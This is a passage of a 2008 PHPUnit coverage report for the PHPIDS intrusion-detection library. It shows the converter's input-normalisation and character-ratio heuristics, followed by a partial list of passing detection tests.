href="#524" id="line524"> 524</a> </span><span class="lineCov"> 35 : '/(?:"[|&;]+\s*[^|&\n]*[|&]+\s*"?)/s', </span> -<span class="lineNum" id="container525"><a name="525"></a><a href="#525" id="line525"> 525</a> </span><span class="lineCov"> 35 : '/(?:";\s*\w+\W+\w*\s*[|&]*")/s', </span> -<span class="lineNum" id="container526"><a name="526"></a><a href="#526" id="line526"> 526</a> </span><span class="lineCov"> 35 : '/(?:"\s*"\s*\.)/s', </span> -<span class="lineNum" id="container527"><a name="527"></a><a href="#527" id="line527"> 527</a> </span><span class="lineCov"> 35 : '/(?:\s*new\s+\w+\s*[+"])/', </span> -<span class="lineNum" id="container528"><a name="528"></a><a href="#528" id="line528"> 528</a> </span><span class="lineCov"> 35 : '/(?:(?:^|\s+)(?:do|else)\s+)/', </span> -<span class="lineNum" id="container529"><a name="529"></a><a href="#529" id="line529"> 529</a> </span><span class="lineCov"> 35 : '/(?:\{\s*new\s+\w+\s*\})/', </span> -<span class="lineNum" id="container530"><a name="530"></a><a href="#530" id="line530"> 530</a> </span><span class="lineCov"> 35 : '/(?:(this|self).)/'); </span> -<span class="lineNum" id="container531"><a name="531"></a><a href="#531" id="line531"> 531</a> </span> : -<span class="lineNum" id="container532"><a name="532"></a><a href="#532" id="line532"> 532</a> </span> : // strip out concatenations -<span class="lineNum" id="container533"><a name="533"></a><a href="#533" id="line533"> 533</a> </span><span class="lineCov"> 35 : $converted = preg_replace($pattern, null, $compare); </span> -<span class="lineNum" id="container534"><a name="534"></a><a href="#534" id="line534"> 534</a> </span> : -<span class="lineNum" id="container535"><a name="535"></a><a href="#535" id="line535"> 535</a> </span> : //strip object traversal -<span class="lineNum" id="container536"><a name="536"></a><a href="#536" id="line536"> 536</a> </span><span class="lineCov"> 35 : $converted = preg_replace('/\w(\.\w\()/', "$1", $converted); </span> -<span class="lineNum" id="container537"><a name="537"></a><a href="#537" id="line537"> 537</a> </span> : -<span class="lineNum" id="container538"><a name="538"></a><a href="#538" id="line538"> 538</a> </span> : //convert JS special numbers -<span class="lineNum" id="container539"><a name="539"></a><a href="#539" id="line539"> 539</a> </span><span class="lineCov"> 35 : $converted = preg_replace('/(?:\(*[.\d]e[+-]*[^a-z\W]+\)*)' . </span> -<span class="lineNum" id="container540"><a name="540"></a><a href="#540" id="line540"> 540</a> </span><span class="lineCov"> 35 : '|(?:NaN|Infinity)\W/ms', 1, $converted); </span> -<span class="lineNum" id="container541"><a name="541"></a><a href="#541" id="line541"> 541</a> </span> : -<span class="lineNum" id="container542"><a name="542"></a><a href="#542" id="line542"> 542</a> </span><span class="lineCov"> 35 : if ($converted && ($compare != $converted)) { </span> -<span class="lineNum" id="container543"><a name="543"></a><a href="#543" id="line543"> 543</a> </span><span class="lineCov"> 15 : $value .= "\n" . $converted; </span> -<span class="lineNum" id="container544"><a name="544"></a><a href="#544" id="line544"> 544</a> </span><span class="lineCov"> 15 : } </span> -<span class="lineNum" id="container545"><a name="545"></a><a href="#545" id="line545"> 545</a> </span> : -<span class="lineNum" id="container546"><a name="546"></a><a href="#546" id="line546"> 546</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container547"><a name="547"></a><a href="#547" id="line547"> 547</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container548"><a name="548"></a><a href="#548" id="line548"> 548</a> </span> : -<span class="lineNum" id="container549"><a name="549"></a><a href="#549" id="line549"> 549</a> </span> : /** -<span class="lineNum" id="container550"><a name="550"></a><a href="#550" id="line550"> 550</a> </span> : * This method collects and decodes proprietary encoding types -<span class="lineNum" id="container551"><a name="551"></a><a href="#551" id="line551"> 551</a> </span> : * -<span class="lineNum" id="container552"><a name="552"></a><a href="#552" id="line552"> 552</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container553"><a name="553"></a><a href="#553" id="line553"> 553</a> </span> : * @param IDS_Monitor $monitor the monitor object -<span class="lineNum" id="container554"><a name="554"></a><a href="#554" id="line554"> 554</a> </span> : * -<span class="lineNum" id="container555"><a name="555"></a><a href="#555" id="line555"> 555</a> </span> : * @static -<span class="lineNum" id="container556"><a name="556"></a><a href="#556" id="line556"> 556</a> </span> : * @return string -<span class="lineNum" id="container557"><a name="557"></a><a href="#557" id="line557"> 557</a> </span> : */ -<span class="lineNum" id="container558"><a name="558"></a><a href="#558" id="line558"> 558</a> </span> : public static function convertFromProprietaryEncodings($value) { -<span class="lineNum" id="container559"><a name="559"></a><a href="#559" id="line559"> 559</a> </span> : -<span class="lineNum" id="container560"><a name="560"></a><a href="#560" id="line560"> 560</a> </span> : //Xajax error reportings -<span class="lineNum" id="container561"><a name="561"></a><a href="#561" id="line561"> 561</a> </span><span class="lineCov"> 35 : $value = preg_replace('/<!\[CDATA\[(\W+)\]\]>/im', '$1', $value); </span> -<span class="lineNum" id="container562"><a name="562"></a><a href="#562" id="line562"> 562</a> </span> : -<span class="lineNum" id="container563"><a name="563"></a><a href="#563" id="line563"> 563</a> </span> : //strip false alert triggering apostrophes -<span class="lineNum" id="container564"><a name="564"></a><a href="#564" id="line564"> 564</a> </span><span class="lineCov"> 35 : $value = preg_replace('/(\w)\"(s)/m', '$1$2', $value); </span> -<span class="lineNum" id="container565"><a name="565"></a><a href="#565" id="line565"> 565</a> </span> : -<span class="lineNum" id="container566"><a name="566"></a><a href="#566" id="line566"> 566</a> </span> : //strip quotes within typical search patterns -<span class="lineNum" id="container567"><a name="567"></a><a href="#567" id="line567"> 567</a> </span><span class="lineCov"> 35 : $value = preg_replace('/^"([^"=\\!><~]+)"$/', '$1', $value); </span> -<span class="lineNum" id="container568"><a name="568"></a><a href="#568" id="line568"> 568</a> </span> : -<span class="lineNum" id="container569"><a name="569"></a><a href="#569" id="line569"> 569</a> </span> : //OpenID login tokens -<span class="lineNum" id="container570"><a name="570"></a><a href="#570" id="line570"> 570</a> </span><span class="lineCov"> 35 : $value = preg_replace('/{[\w-]{8,9}\}(?:\{[\w=]{8}\}){2}/', null, $value); </span> -<span class="lineNum" id="container571"><a name="571"></a><a href="#571" id="line571"> 571</a> </span> : -<span class="lineNum" id="container572"><a name="572"></a><a href="#572" id="line572"> 572</a> </span> : //convert Content and \sdo\s to null -<span class="lineNum" id="container573"><a name="573"></a><a href="#573" id="line573"> 573</a> </span><span class="lineCov"> 35 : $value = preg_replace('/Content|\Wdo\s/', null, $value); </span> -<span class="lineNum" id="container574"><a name="574"></a><a href="#574" id="line574"> 574</a> </span> : -<span class="lineNum" id="container575"><a name="575"></a><a href="#575" id="line575"> 575</a> </span> : //strip emoticons -<span class="lineNum" id="container576"><a name="576"></a><a href="#576" id="line576"> 576</a> </span><span class="lineCov"> 35 : $value = preg_replace( </span> -<span class="lineNum" id="container577"><a name="577"></a><a href="#577" id="line577"> 577</a> </span><span class="lineCov"> 35 : '/(?:[:;]-[()\/PD]+)|(?:\s;[()PD]+)|(?::[()PD]+)|-\.-|\^\^/m', </span> -<span class="lineNum" id="container578"><a name="578"></a><a href="#578" id="line578"> 578</a> </span><span class="lineCov"> 35 : null, </span> -<span class="lineNum" id="container579"><a name="579"></a><a href="#579" id="line579"> 579</a> </span> : $value -<span class="lineNum" id="container580"><a name="580"></a><a href="#580" id="line580"> 580</a> </span><span class="lineCov"> 35 : ); </span> -<span class="lineNum" id="container581"><a name="581"></a><a href="#581" id="line581"> 581</a> </span> : -<span class="lineNum" id="container582"><a name="582"></a><a href="#582" id="line582"> 582</a> </span> : // normalize separation char repetion -<span class="lineNum" id="container583"><a name="583"></a><a href="#583" id="line583"> 583</a> </span><span class="lineCov"> 35 : $value = preg_replace('/([.+~=*_\-])\1{2,}/m', '$1', $value); </span> -<span class="lineNum" id="container584"><a name="584"></a><a href="#584" id="line584"> 584</a> </span> : -<span class="lineNum" id="container585"><a name="585"></a><a href="#585" id="line585"> 585</a> </span> : //remove parenthesis inside sentences -<span class="lineNum" id="container586"><a name="586"></a><a href="#586" id="line586"> 586</a> </span><span class="lineCov"> 35 : $value = preg_replace('/(\w\s)\(([&\w]+)\)(\s\w|$)/', '$1$2$3', $value); </span> -<span class="lineNum" id="container587"><a name="587"></a><a href="#587" id="line587"> 587</a> </span> : -<span class="lineNum" id="container588"><a name="588"></a><a href="#588" id="line588"> 588</a> </span> : //normalize ampersand listings -<span class="lineNum" id="container589"><a name="589"></a><a href="#589" id="line589"> 589</a> </span><span class="lineCov"> 35 : $value = preg_replace('/(\w\s)&\s(\w)/', '$1$2', $value); </span> -<span class="lineNum" id="container590"><a name="590"></a><a href="#590" id="line590"> 590</a> </span> : -<span class="lineNum" id="container591"><a name="591"></a><a href="#591" id="line591"> 591</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container592"><a name="592"></a><a href="#592" id="line592"> 592</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container593"><a name="593"></a><a href="#593" id="line593"> 593</a> </span> : -<span class="lineNum" id="container594"><a name="594"></a><a href="#594" id="line594"> 594</a> </span> : /** -<span class="lineNum" id="container595"><a name="595"></a><a href="#595" id="line595"> 595</a> </span> : * This method is the centrifuge prototype -<span class="lineNum" id="container596"><a name="596"></a><a href="#596" id="line596"> 596</a> </span> : * -<span class="lineNum" id="container597"><a name="597"></a><a href="#597" id="line597"> 597</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container598"><a name="598"></a><a href="#598" id="line598"> 598</a> </span> : * @param IDS_Monitor $monitor the monitor object -<span class="lineNum" id="container599"><a name="599"></a><a href="#599" id="line599"> 599</a> </span> : * -<span class="lineNum" id="container600"><a name="600"></a><a href="#600" id="line600"> 600</a> </span> : * @static -<span class="lineNum" id="container601"><a name="601"></a><a href="#601" id="line601"> 601</a> </span> : * @return string -<span class="lineNum" id="container602"><a name="602"></a><a href="#602" id="line602"> 602</a> </span> : */ -<span class="lineNum" id="container603"><a name="603"></a><a href="#603" id="line603"> 603</a> </span> : public static function runCentrifuge($value, IDS_Monitor $monitor = null) -<span class="lineNum" id="container604"><a name="604"></a><a href="#604" id="line604"> 604</a> </span> : { -<span class="lineNum" id="container605"><a name="605"></a><a href="#605" id="line605"> 605</a> </span><span class="lineCov"> 35 : $threshold = 3.49; </span> -<span class="lineNum" id="container606"><a name="606"></a><a href="#606" id="line606"> 606</a> </span> : -<span class="lineNum" id="container607"><a name="607"></a><a href="#607" id="line607"> 607</a> </span><span class="lineCov"> 35 : $unserialized = false; </span> -<span class="lineNum" id="container608"><a name="608"></a><a href="#608" id="line608"> 608</a> </span><span class="lineCov"> 35 : if(preg_match('/^\w:\d+:\{/', $value)) { </span> -<span class="lineNum" id="container609"><a name="609"></a><a href="#609" id="line609"> 609</a> </span><span class="lineNoCov"> 0 : $unserialized = @unserialize($value); </span> -<span class="lineNum" id="container610"><a name="610"></a><a href="#610" id="line610"> 610</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container611"><a name="611"></a><a href="#611" id="line611"> 611</a> </span> : -<span class="lineNum" id="container612"><a name="612"></a><a href="#612" id="line612"> 612</a> </span><span class="lineCov"> 35 : if (strlen($value) > 25 && !$unserialized) { </span> -<span class="lineNum" id="container613"><a name="613"></a><a href="#613" id="line613"> 613</a> </span> : // Check for the attack char ratio -<span class="lineNum" id="container614"><a name="614"></a><a href="#614" id="line614"> 614</a> </span><span class="lineCov"> 33 : $tmp_value = $value; </span> -<span class="lineNum" id="container615"><a name="615"></a><a href="#615" id="line615"> 615</a> </span><span class="lineCov"> 33 : $tmp_value = preg_replace('/([*.!?+-])\1{1,}/m', '$1', $tmp_value); </span> -<span class="lineNum" id="container616"><a name="616"></a><a href="#616" id="line616"> 616</a> </span><span class="lineCov"> 33 : $tmp_value = preg_replace('/"[\p{L}\d\s]+"/m', null, $tmp_value); </span> -<span class="lineNum" id="container617"><a name="617"></a><a href="#617" id="line617"> 617</a> </span> : -<span class="lineNum" id="container618"><a name="618"></a><a href="#618" id="line618"> 618</a> </span><span class="lineCov"> 33 : $stripped_length = strlen(preg_replace('/[\d\s\p{L}.:,%\/><-]+/m', </span> -<span class="lineNum" id="container619"><a name="619"></a><a href="#619" id="line619"> 619</a> </span><span class="lineCov"> 33 : null, $tmp_value)); </span> -<span class="lineNum" id="container620"><a name="620"></a><a href="#620" id="line620"> 620</a> </span><span class="lineCov"> 33 : $overall_length = strlen(preg_replace('/([\d\s\p{L}]{3,})+/m', 'aaa', </span> -<span class="lineNum" id="container621"><a name="621"></a><a href="#621" id="line621"> 621</a> </span><span class="lineCov"> 33 : preg_replace('/\s{2,}/m', null, $tmp_value))); </span> -<span class="lineNum" id="container622"><a name="622"></a><a href="#622" id="line622"> 622</a> </span> : -<span class="lineNum" id="container623"><a name="623"></a><a href="#623" id="line623"> 623</a> </span> : if ($stripped_length != 0 -<span class="lineNum" id="container624"><a name="624"></a><a href="#624" id="line624"> 624</a> </span><span class="lineCov"> 33 : && $overall_length/$stripped_length <= $threshold) { </span> -<span class="lineNum" id="container625"><a name="625"></a><a href="#625" id="line625"> 625</a> </span> : -<span class="lineNum" id="container626"><a name="626"></a><a href="#626" id="line626"> 626</a> </span><span class="lineCov"> 16 : $monitor->centrifuge['ratio'] = </span> -<span class="lineNum" id="container627"><a name="627"></a><a href="#627" id="line627"> 627</a> </span><span class="lineCov"> 16 : $overall_length/$stripped_length; </span> -<span class="lineNum" id="container628"><a name="628"></a><a href="#628" id="line628"> 628</a> </span><span class="lineCov"> 16 : $monitor->centrifuge['threshold'] = </span> -<span class="lineNum" id="container629"><a name="629"></a><a href="#629" id="line629"> 629</a> </span> : $threshold; -<span class="lineNum" id="container630"><a name="630"></a><a href="#630" id="line630"> 630</a> </span> : -<span class="lineNum" id="container631"><a name="631"></a><a href="#631" id="line631"> 631</a> </span><span class="lineCov"> 16 : $value .= "\n$[!!!]"; </span> -<span class="lineNum" id="container632"><a name="632"></a><a href="#632" id="line632"> 632</a> </span><span class="lineCov"> 16 : } </span> -<span class="lineNum" id="container633"><a name="633"></a><a href="#633" id="line633"> 633</a> </span><span class="lineCov"> 33 : } </span> -<span class="lineNum" id="container634"><a name="634"></a><a href="#634" id="line634"> 634</a> </span> : -<span class="lineNum" id="container635"><a name="635"></a><a href="#635" id="line635"> 635</a> </span><span class="lineCov"> 35 : if (strlen($value) > 40) { </span> -<span class="lineNum" id="container636"><a name="636"></a><a href="#636" id="line636"> 636</a> </span> : // Replace all non-special chars -<span class="lineNum" id="container637"><a name="637"></a><a href="#637" id="line637"> 637</a> </span><span class="lineCov"> 32 : $converted = preg_replace('/[\w\s\p{L},.!]/', null, $value); </span> -<span class="lineNum" id="container638"><a name="638"></a><a href="#638" id="line638"> 638</a> </span> : -<span class="lineNum" id="container639"><a name="639"></a><a href="#639" id="line639"> 639</a> </span> : // Split string into an array, unify and sort -<span class="lineNum" id="container640"><a name="640"></a><a href="#640" id="line640"> 640</a> </span><span class="lineCov"> 32 : $array = str_split($converted); </span> -<span class="lineNum" id="container641"><a name="641"></a><a href="#641" id="line641"> 641</a> </span><span class="lineCov"> 32 : $array = array_unique($array); </span> -<span class="lineNum" id="container642"><a name="642"></a><a href="#642" id="line642"> 642</a> </span><span class="lineCov"> 32 : asort($array); </span> -<span class="lineNum" id="container643"><a name="643"></a><a href="#643" id="line643"> 643</a> </span> : -<span class="lineNum" id="container644"><a name="644"></a><a href="#644" id="line644"> 644</a> </span> : // Normalize certain tokens -<span class="lineNum" id="container645"><a name="645"></a><a href="#645" id="line645"> 645</a> </span> : $schemes = array( -<span class="lineNum" id="container646"><a name="646"></a><a href="#646" id="line646"> 646</a> </span><span class="lineCov"> 32 : '~' => '+', </span> -<span class="lineNum" id="container647"><a name="647"></a><a href="#647" id="line647"> 647</a> </span><span class="lineCov"> 32 : '^' => '+', </span> -<span class="lineNum" id="container648"><a name="648"></a><a href="#648" id="line648"> 648</a> </span><span class="lineCov"> 32 : '|' => '+', </span> -<span class="lineNum" id="container649"><a name="649"></a><a href="#649" id="line649"> 649</a> </span><span class="lineCov"> 32 : '*' => '+', </span> -<span class="lineNum" id="container650"><a name="650"></a><a href="#650" id="line650"> 650</a> </span><span class="lineCov"> 32 : '%' => '+', </span> -<span class="lineNum" id="container651"><a name="651"></a><a href="#651" id="line651"> 651</a> </span><span class="lineCov"> 32 : '&' => '+', </span> -<span class="lineNum" id="container652"><a name="652"></a><a href="#652" id="line652"> 652</a> </span> : '/' => '+' -<span class="lineNum" id="container653"><a name="653"></a><a href="#653" id="line653"> 653</a> </span><span class="lineCov"> 32 : ); </span> -<span class="lineNum" id="container654"><a name="654"></a><a href="#654" id="line654"> 654</a> </span> : -<span class="lineNum" id="container655"><a name="655"></a><a href="#655" id="line655"> 655</a> </span><span class="lineCov"> 32 : $converted = implode($array); </span> -<span class="lineNum" id="container656"><a name="656"></a><a href="#656" id="line656"> 656</a> </span><span class="lineCov"> 32 : $converted = str_replace(array_keys($schemes), </span> -<span class="lineNum" id="container657"><a name="657"></a><a href="#657" id="line657"> 657</a> </span><span class="lineCov"> 32 : array_values($schemes), $converted); </span> -<span class="lineNum" id="container658"><a name="658"></a><a href="#658" id="line658"> 658</a> </span><span class="lineCov"> 32 : $converted = preg_replace('/[+-]\s*\d+/', '+', $converted); </span> -<span class="lineNum" id="container659"><a name="659"></a><a href="#659" id="line659"> 659</a> </span><span class="lineCov"> 32 : $converted = preg_replace('/[()[\]{}]/', '(', $converted); </span> -<span class="lineNum" id="container660"><a name="660"></a><a href="#660" id="line660"> 660</a> </span><span class="lineCov"> 32 : $converted = preg_replace('/[!?:=]/', ':', $converted); </span> -<span class="lineNum" id="container661"><a name="661"></a><a href="#661" id="line661"> 661</a> </span><span class="lineCov"> 32 : $converted = preg_replace('/[^:(+]/', null, stripslashes($converted)); </span> -<span class="lineNum" id="container662"><a name="662"></a><a href="#662" id="line662"> 662</a> </span> : -<span class="lineNum" id="container663"><a name="663"></a><a href="#663" id="line663"> 663</a> </span> : // Sort again and implode -<span class="lineNum" id="container664"><a name="664"></a><a href="#664" id="line664"> 664</a> </span><span class="lineCov"> 32 : $array = str_split($converted); </span> -<span class="lineNum" id="container665"><a name="665"></a><a href="#665" id="line665"> 665</a> </span><span class="lineCov"> 32 : asort($array); </span> -<span class="lineNum" id="container666"><a name="666"></a><a href="#666" id="line666"> 666</a> </span> : -<span class="lineNum" id="container667"><a name="667"></a><a href="#667" id="line667"> 667</a> </span><span class="lineCov"> 32 : $converted = implode($array); </span> -<span class="lineNum" id="container668"><a name="668"></a><a href="#668" id="line668"> 668</a> </span> : -<span class="lineNum" id="container669"><a name="669"></a><a href="#669" id="line669"> 669</a> </span><span class="lineCov"> 32 : if (preg_match('/(?:\({2,}\+{2,}:{2,})|(?:\({2,}\+{2,}:+)|' . </span> -<span class="lineNum" id="container670"><a name="670"></a><a href="#670" id="line670"> 670</a> </span><span class="lineCov"> 32 : '(?:\({3,}\++:{2,})/', $converted)) { </span> -<span class="lineNum" id="container671"><a name="671"></a><a href="#671" id="line671"> 671</a> </span> : -<span class="lineNum" id="container672"><a name="672"></a><a href="#672" id="line672"> 672</a> </span><span class="lineCov"> 15 : $monitor->centrifuge['converted'] = $converted; </span> -<span class="lineNum" id="container673"><a name="673"></a><a href="#673" id="line673"> 673</a> </span> : -<span class="lineNum" id="container674"><a name="674"></a><a href="#674" id="line674"> 674</a> </span><span class="lineCov"> 15 : return $value . "\n" . $converted; </span> -<span class="lineNum" id="container675"><a name="675"></a><a href="#675" id="line675"> 675</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container676"><a name="676"></a><a href="#676" id="line676"> 676</a> </span><span class="lineCov"> 31 : } </span> -<span class="lineNum" id="container677"><a name="677"></a><a href="#677" id="line677"> 677</a> </span> : -<span class="lineNum" id="container678"><a name="678"></a><a href="#678" id="line678"> 678</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container679"><a name="679"></a><a href="#679" id="line679"> 679</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container680"><a name="680"></a><a href="#680" id="line680"> 680</a> </span> : } -<span class="lineNum" id="container681"><a name="681"></a><a href="#681" id="line681"> 681</a> </span> : -<span class="lineNum" id="container682"><a name="682"></a><a href="#682" id="line682"> 682</a> </span> : /* -<span class="lineNum" id="container683"><a name="683"></a><a href="#683" id="line683"> 683</a> </span> : * Local variables: -<span class="lineNum" id="container684"><a name="684"></a><a href="#684" id="line684"> 684</a> </span> : * tab-width: 4 -<span class="lineNum" id="container685"><a name="685"></a><a href="#685" id="line685"> 685</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container686"><a name="686"></a><a href="#686" id="line686"> 686</a> </span> : * End: -<span class="lineNum" id="container687"><a name="687"></a><a href="#687" id="line687"> 687</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel52": { - "header": "1 test covers line 52", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel67": { - "header": "35 tests cover line 67", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel69": { - "header": "35 tests cover line 69", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel70": { - "header": "35 tests cover line 70", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel72": { - "header": "35 tests cover line 72", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li 